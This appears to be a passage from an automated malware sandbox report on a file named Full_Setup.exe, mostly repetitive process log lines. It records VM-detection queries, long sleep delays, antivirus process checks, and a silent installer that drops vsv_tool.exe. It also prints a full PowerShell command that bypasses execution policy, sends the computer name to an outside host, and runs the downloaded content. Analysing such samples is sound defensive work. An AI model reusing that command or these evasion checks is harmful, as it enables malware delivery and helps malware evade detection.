Source: C:\Users\user\Desktop\Full_Setup.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Full_Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Full_Setup.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Full_Setup.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8050			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1691			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-KAKC1.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-U34UV.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-KAKC1.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-U34UV.tmp\_isetup\_setup64.tmp	Jump to dropped file

Source: C:\Users\user\Desktop\Full_Setup.exe TID: 7700	Thread sleep time: -270000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8012	Thread sleep count: 8050 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8008	Thread sleep count: 1691 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8048	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Full_Setup.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\Full_Setup.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe

Code function: 37_2_00A958BB mov eax, dword ptr fs:[00000030h]

37_2_00A958BB

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process created: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe "C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe" /VERYSILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process created: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe "C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"

Source: C:\Users\user\Desktop\Full_Setup.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; $gd='https://dfgh.online/invoker.php?compname='+$env:computername; $ptsr = iwr -uri $gd -usebasicparsing -useragent 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/57.36 (khtml, like gecko) chrome/12.0.0.0 safari/57.36'; iex $ptsr.content; jo
Source: C:\Users\user\Desktop\Full_Setup.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; $gd='https://dfgh.online/invoker.php?compname='+$env:computername; $ptsr = iwr -uri $gd -usebasicparsing -useragent 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/57.36 (khtml, like gecko) chrome/12.0.0.0 safari/57.36'; iex $ptsr.content; jo			Jump to behavior

Source: C:\Users\user\Desktop\Full_Setup.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
